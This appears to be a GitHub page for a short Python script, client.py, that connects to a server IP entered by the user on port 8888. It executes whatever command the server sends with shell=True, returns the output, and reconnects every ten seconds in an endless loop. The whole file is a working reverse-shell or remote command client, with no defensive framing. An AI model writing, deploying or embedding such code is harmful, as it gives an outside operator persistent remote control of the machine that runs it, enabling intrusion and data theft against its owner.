-
Notifications
You must be signed in to change notification settings - Fork 2
/
client.py
executable file
·34 lines (29 loc) · 901 Bytes
/
client.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# imports
import asyncio
import subprocess
import time
# defined some values
sleep = 10
server_ip = input("Enter the ip to connect >> ")
port = 8888
# asynced execute command def function
async def execute_command():
reader, writer = await asyncio.open_connection(server_ip, port)
data = await reader.read(100)
message = data.decode()
try:
process = subprocess.Popen(message, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
results = process.communicate(timeout=20)[0].strip()
except subprocess.TimeoutExpired:
results = "Command Timed out".encode()
finally:
writer.write(results)
await writer.drain()
writer.close()
while True:
try:
asyncio.run(execute_command())
time.sleep(sleep)
except KeyboardInterrupt:
print("\nReceived exit, exiting")
exit()